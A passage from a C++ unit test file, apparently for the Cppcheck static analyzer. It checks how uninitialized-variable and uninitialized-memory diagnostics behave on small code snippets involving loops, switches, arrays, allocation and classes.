x;\\n\"\n \" if (a)\\n\"\n \" x = a;\\n\"\n \" else {\\n\"\n \" do { } while (f2());\\n\"\n \" x = b;\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(long verbose,bool bFlag)\\n\"\n \"{\\n\"\n \" double t;\\n\"\n \" if (bFlag)\\n\"\n \" {\\n\"\n \" if (verbose)\\n\"\n \" t = 1;\\n\"\n \" if (verbose)\\n\"\n \" std::cout << (12-t);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int test(int cond1, int cond2) {\\n\"\n \" int foo;\\n\"\n \" if (cond1 || cond2) {\\n\"\n \" if (cond2)\\n\"\n \" foo = 0;\\n\"\n \" }\\n\"\n \" if (cond2) {\\n\"\n \" int t = foo*foo;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(int *pix) {\\n\"\n \" int dest_x;\\n\"\n \" {\\n\"\n \" if (pix)\\n\"\n \" dest_x = 123;\\n\"\n \" }\\n\"\n \" if (pix)\\n\"\n \" a = dest_x;\\n\" // <- not uninitialized\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ? :\n checkUninitVar(\"static void foo(int v) {\\n\"\n \" int x;\\n\"\n \" x = v <= 0 ? -1 : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" const char *msgid1, *msgid2;\\n\"\n \" int ret = bar(&msgid1);\\n\"\n \" if (ret > 0) {\\n\"\n \" ret = bar(&msgid2);\\n\"\n \" }\\n\"\n \" ret = ret <= 0 ? -1 :\\n\"\n \" strcmp(msgid1, msgid2) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(int a, int b)\\n\"\n \"{\\n\"\n \" int x; x = (anext())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" } while (tok2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(void) {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \"\\n\"\n \" for (;;) {\\n\"\n \" if (!a || 12 < x) {\\n\" // <- x is not uninitialized\n \" a = 1;\\n\"\n \" x = 2;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(void) {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \"\\n\"\n \" for (;;) {\\n\"\n \" if (!a || 12 < x) {\\n\" // <- x is uninitialized\n \" a = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo(int n) {\\n\"\n \" int one[10];\\n\"\n \" for (int rank = 0; rank < n; ++rank) {\\n\"\n \" for (int i=0;i 0) {\\n\"\n \" if (GetItem(&pItem) && (*pItem != rPool))\\n\"\n \" { }\\n\"\n \" x--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // extracttests.start: struct PoolItem { bool operator!=(const PoolItem&) const; };\n checkUninitVar(\"void f(int x, const PoolItem& rPool) {\\n\"\n \" const PoolItem* pItem;\\n\"\n \" while (x > 0) {\\n\"\n \" if (*pItem != rPool)\\n\"\n \" { }\\n\"\n \" x--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Uninitialized variable: pItem [legacyUninitvar]\\n\", errout_str());\n\n // #2231 - conditional initialization in loop..\n checkUninitVar(\"int foo(char *a) {\\n\"\n \" int x;\\n\"\n \"\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" if (a[i] == 'x') {\\n\"\n \" x = i;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" return x;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:11]: (error) Uninitialized variable: x\\n\", \"\", errout_str());\n\n // Ticket #2796\n checkUninitVar(\"void foo() {\\n\"\n \" while (true) {\\n\"\n \" int x;\\n\"\n \" if (y) x = 0;\\n\"\n \" else break;\\n\"\n \" return x;\\n\" // <- x is initialized\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Assignment in for. Ticket #3287\n checkUninitVar(\"int foo(char* in, bool b) {\\n\"\n \" char* c;\\n\"\n \" if (b) for (c = in; *c == 0; ++c) {}\\n\"\n \" else c = in + strlen(in) - 1;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10273 - assignment in conditional code\n // extracttests.start: extern const int PORT_LEARN_DISABLE;\n checkUninitVar(\"void foo() {\\n\"\n \" int learn;\\n\"\n \" for (int index = 0; index < 10; index++) {\\n\"\n \" if (!(learn & PORT_LEARN_DISABLE))\\n\"\n \" learn = 123;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Uninitialized variable: learn [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct Entry { Entry *next; }; Entry *buckets[10];\n checkUninitVar(\"void foo() {\\n\"\n \" Entry *entry, *nextEntry;\\n\"\n \" for(int i = 0; i < 10; i++) {\\n\"\n \" for(entry = buckets[i]; entry != NULL; entry = nextEntry) {\\n\" // <- nextEntry is not uninitialized\n \" nextEntry = entry->next;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" Entry *entry, *nextEntry;\\n\"\n \" for(int i = 0; i < 10; i++) {\\n\"\n \" for(entry = buckets[i]; entry != NULL; entry = nextEntry) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:52]: (error) Uninitialized variable: nextEntry [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" list *f = NULL;\\n\"\n \" list *l;\\n\"\n \"\\n\"\n \" while (--x) {\\n\"\n \" if (!f)\\n\"\n \" f = c;\\n\"\n \" else\\n\"\n \" l->next = c;\\n\" // <- not uninitialized\n \" l = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6952 - do-while-loop\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int* p;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" if (true) {;}\\n\"\n \" else\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" *p = 7;\\n\" // <<\n \" p = new int(9);\\n\"\n \" } while (*p != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // #6952 - while-loop\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int* p;\\n\"\n \" while (*p != 8) {\\n\" // <<\n \" *p = 7;\\n\"\n \" p = new int(9);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // switch in loop\n checkUninitVar(\"int foo(int *p) {\\n\"\n \" int x;\\n\"\n \" while (true) {\\n\"\n \" switch (*p) {\\n\"\n \" case 1:\\n\"\n \" return x;\\n\"\n \" case 2:\\n\"\n \" x = 123;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ++p\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // switch..\n void uninitvar_switch() {\n checkUninitVar(\"void f(int x)\\n\"\n \"{\\n\"\n \" short c;\\n\"\n \" switch(x) {\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: c [uninitvar]\\n\", \"\", errout_str());\n\n checkUninitVar(\"char * f()\\n\"\n \"{\\n\"\n \" static char ret[200];\\n\"\n \" memset(ret, 0, 200);\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 1: return ret;\\n\"\n \" case 2: return ret;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo(const int iVar, unsigned int slot, unsigned int pin)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (iVar == 0)\\n\"\n \" {\\n\"\n \" switch (slot)\\n\"\n \" {\\n\"\n \" case 4: return 5;\\n\"\n \" default: return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" switch (pin)\\n\"\n \" {\\n\"\n \" case 0: i = 2; break;\\n\"\n \" default: i = -1; break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1855 - switch(foo(&x))\n checkUninitVar(\"int a()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" switch (foo(&x))\\n\"\n \" {\\n\"\n \" case 1:\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3231 - ({ switch .. })\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" ({\\n\"\n \" switch(sizeof(int)) {\\n\"\n \" case 4:\\n\"\n \" default:\\n\"\n \" (a)=0;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // arrays..\n void uninitvar_arrays() {\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" a[a[0]] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Uninitialized variable: a[0] [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" *a = '\\\\0';\\n\"\n \" int i = strlen(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a, b[10];\\n\"\n \" a = b[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[10], b[10];\\n\"\n \" a[0] = b[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[10], *p;\\n\"\n \" *(p = a) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10], *p;\\n\"\n \" p = &(a[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // array usage in ?: (tests that the isVariableUsed() works)\n checkUninitVar(\"void f() {\\n\"\n \" char a[10], *p;\\n\"\n \" p = c?a:0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" char a[10], c;\\n\"\n \" c = *(x?a:0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10], c;\\n\"\n \" strcpy(dest, x?a:\\\"\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int a[2];\\n\"\n \" y *= (x ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // passing array to library functions\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char c[50] = \\\"\\\";\\n\"\n \" strcat(c, \\\"test\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(char *s2) {\\n\"\n \" char s[20];\\n\"\n \" strcpy(s2, s);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char s[20];\\n\"\n \" strcat(s, \\\"abc\\\");\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char s[20];\\n\"\n \" strchr(s, ' ');\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int y[2];\\n\"\n \" int s;\\n\"\n \" GetField( y + 0, y + 1 );\\n\"\n \" s = y[0] * y[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int a[2];\\n\"\n \" init(a - 1);\\n\"\n \" int b = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" Fred a[2];\\n\"\n \" Fred b = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" char buf[1024];\\n\"\n \" char *b = (char *) (((uintptr_t) buf + 63) & ~(uintptr_t) 63);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" char buf[1024];\\n\"\n \" char x = *(char *) (((uintptr_t) buf + 63) & ~(uintptr_t) 63);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Uninitialized variable: buf [legacyUninitvar]\\n\", errout_str());\n\n // Passing array to function\n checkUninitVar(\"void f(int i);\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" f(a[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #2320\n checkUninitVar(\"void foo() {\\n\"\n \" char a[2];\\n\"\n \" unsigned long b = (unsigned long)(a+2) & ~7;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #3050\n \" char a[2];\\n\"\n \" printf(\\\"%s\\\", a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", \"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #5108 (fp)\n \" const char *a;\\n\"\n \" printf(\\\"%s\\\", a=\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #3497\n \" char header[1];\\n\"\n \" *((unsigned char*)(header)) = 0xff;\\n\"\n \" return header[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #3497\n \" char header[1];\\n\"\n \" *((unsigned char*)((unsigned char *)(header))) = 0xff;\\n\"\n \" return header[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" ABC abc;\\n\"\n \" int a[1];\\n\"\n \"\\n\"\n \" abc.a = a;\\n\"\n \" init(&abc);\\n\"\n \" return a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3344\n checkUninitVar(\"void f(){\\n\"\n \" char *strMsg = \\\"This is a message\\\";\\n\"\n \" char *buffer=(char*)malloc(128*sizeof(char));\\n\"\n \" strcpy(strMsg,buffer);\\n\"\n \" free(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Memory is allocated but not initialized: buffer [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f(){\\n\"\n \" char *strMsg = \\\"This is a message\\\";\\n\"\n \" char *buffer=static_cast(malloc(128*sizeof(char)));\\n\"\n \" strcpy(strMsg,buffer);\\n\"\n \" free(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Memory is allocated but not initialized: buffer [uninitdata]\\n\", errout_str());\n\n // #3845\n checkUninitVar(\"int foo() {\\n\"\n \" int a[1] = {5};\\n\"\n \" return a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[2][2] = {{3,4}, {5,6}};\\n\"\n \" return a[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[1];\\n\"\n \" return a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[2][2];\\n\"\n \" return a[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[10];\\n\"\n \" dostuff(a[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 4740\n checkUninitVar(\"void f() {\\n\"\n \" int *a[2][19];\\n\"\n \" int **b = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6869 - FP when passing uninit array to function\n checkUninitVar(\"void bar(PSTR x);\\n\"\n \"void foo() {\\n\"\n \" char x[10];\\n\"\n \" bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct\n checkUninitVar(\"struct Fred { int x; int y; };\\n\"\n \"\"\n \"void f() {\\n\"\n \" struct Fred fred[10];\\n\"\n \" fred[1].x = 0;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"char f() {\\n\"\n \" std::array a;\\n\"\n \" return a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"std::string f() {\\n\"\n \" std::array a;\\n\"\n \" return a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\" // #12355\n \" const int x[10](1, 2);\\n\"\n \" if (x[0] == 1) {}\\n\"\n \" return x[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_pointertoarray() {\n checkUninitVar(\"void draw_quad(float z) {\\n\"\n \" int i;\\n\"\n \" float (*vertices)[2][4];\\n\"\n \" vertices[0][0][0] = z;\\n\"\n \" vertices[0][0][1] = z;\\n\"\n \" vertices[1][0][0] = z;\\n\"\n \" vertices[1][0][1] = z;\\n\"\n \" vertices[2][0][0] = z;\\n\"\n \" vertices[2][0][1] = z;\\n\"\n \" vertices[3][0][0] = z;\\n\"\n \" vertices[3][0][1] = z;\\n\"\n \" for (i = 0; i < 4; i++) {\\n\"\n \" vertices[i][0][2] = z;\\n\"\n \" vertices[i][0][3] = 1.0;\\n\"\n \" vertices[i][1][0] = 2.0;\\n\"\n \" vertices[i][1][1] = 3.0;\\n\"\n \" vertices[i][1][2] = 4.0;\\n\"\n \" vertices[i][1][3] = 5.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: vertices [legacyUninitvar]\\n\",\n errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" std::array *PArr[2] = { p0, p1 };\\n\"\n \" (*PArr[0])[2] = 0;\\n\"\n \" (*PArr[1])[2] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_cpp11ArrayInit() { // #7010\n checkUninitVar(\"double foo(bool flag) {\\n\"\n \" double adIHPoint_local[4][4]{};\\n\"\n \" function(*adIHPoint_local);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // alloc..\n void uninitvar_alloc() {\n checkUninitVar(\"void f() {\\n\"\n \" char *s = (char *)malloc(100);\\n\"\n \" strcat(s, \\\"abc\\\");\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Memory is allocated but not initialized: s [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char *s1 = new char[10];\\n\"\n \" char *s2 = new char[strlen(s1)];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Memory is allocated but not initialized: s1 [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char *p = (char*)malloc(64);\\n\"\n \" int x = p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = (char*)malloc(64);\\n\"\n \" if (p[0]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Memory is allocated but not initialized: p[0] [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"char f() {\\n\"\n \" char *p = (char*)malloc(64);\\n\"\n \" return p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" Fred *fred = new Fred;\\n\"\n \" fred->foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct Fred { int i; Fred(int, float); };\\n\"\n \"void f() {\\n\"\n \" Fred *fred = new Fred(1, 2);\\n\"\n \" fred->foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" Fred *fred = malloc(sizeof(Fred));\\n\"\n \" x(&fred->f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" Fred *fred = malloc(sizeof(Fred));\\n\"\n \" x(fred->f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(char *s)\\n\"\n \"{\\n\"\n \" char *a = malloc(100);\\n\"\n \" *a = *s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" char *a;\\n\"\n \" if (a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" char *a = malloc(100);\\n\"\n \" if (a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" abc->a = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" abc->a.word = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" abc->a = 123;\\n\"\n \" abc->a += 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" free(abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char *s = (char*)malloc(100);\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" char c = *s;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Memory is allocated but not initialized: s\\n\", \"\", errout_str());\n\n // #3708 - false positive when using ptr typedef\n checkUninitVar(\"void f() {\\n\"\n \" uintptr_t x = malloc(100);\\n\"\n \" uintptr_t y = x + 10;\\n\" // <- not bad usage\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" z_stream strm;\\n\"\n \" char* buf = malloc(10);\\n\"\n \" strm.next_out = buf;\\n\"\n \" deflate(&strm, Z_FINISH);\\n\"\n \" memcpy(body, buf, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6451 - allocation in subscope\n checkUninitVar(\"struct StgStrm {\\n\"\n \" StgIo& rIo;\\n\"\n \" StgStrm(StgIo&);\\n\"\n \" virtual sal_Int32 Write();\\n\"\n \"};\\n\"\n \"void Tmp2Strm() {\\n\"\n \" StgStrm* pNewStrm;\\n\"\n \" if (someflag)\\n\"\n \" pNewStrm = new StgStrm(rIo);\\n\"\n \" else\\n\"\n \" pNewStrm = new StgStrm(rIo);\\n\"\n \" pNewStrm->Write();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6450 - calling a member function is allowed if memory was allocated by new\n checkUninitVar(\"struct EMFPFont {\\n\"\n \" bool family;\\n\"\n \" void Initialize();\\n\"\n \"};\\n\"\n \"void processObjectRecord() {\\n\"\n \" EMFPFont *font = new EMFPFont();\\n\"\n \" font->Initialize();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7623 - new can also initialize the memory, don't warn in this case\n checkUninitVar(\"void foo(){\\n\"\n \" int* p1 = new int(314);\\n\"\n \" int* p2 = new int();\\n\"\n \" int* arr = new int[5]();\\n\"\n \" std::cout << *p1 << *p2 << arr[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // new in C code does not allocate..\n checkUninitVar(\"int main() {\\n\"\n \" char * pBuf = new(10);\\n\"\n \" a = *pBuf;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"class A {};\\n\" // #10698\n \"void f() {\\n\"\n \" A* a = new A{};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1175\n checkUninitVar(\"void f() {\\n\"\n \" int* p = new int;\\n\"\n \" *((int*)*p) = 42;\\n\"\n \" delete p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\" // #10596\n \" int* a = new int;\\n\"\n \" int i{};\\n\"\n \" i += *a;\\n\"\n \" delete a;\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Memory is allocated but not initialized: a [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void* f(size_t n, int i) {\\n\" // #11766\n \" char* p = (char*)malloc(n);\\n\"\n \" *(int*)p = i;\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void* f(size_t n, int i) {\\n\"\n \" char* p = (char*)malloc(n);\\n\"\n \" *(int*)(void*)p = i;\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int n) {\\n\"\n \" int* p = (int*)malloc(n * sizeof(int));\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" *(p + i) = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // class / struct..\n void uninitvar_class() {\n checkUninitVar(\"class Fred\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int a() { return i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" struct Relative {\\n\"\n \" Surface *surface;\\n\"\n \" void MoveTo(int x, int y) {\\n\"\n \" surface->MoveTo();\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" static const struct ab {\\n\"\n \" int a,b;\\n\"\n \" int get_a() { return a; }\"\n \" } x = { 0, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" {\\n\"\n \" union ab {\\n\"\n \" int a,b;\\n\"\n \" }\\n\"\n \" i = 0;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 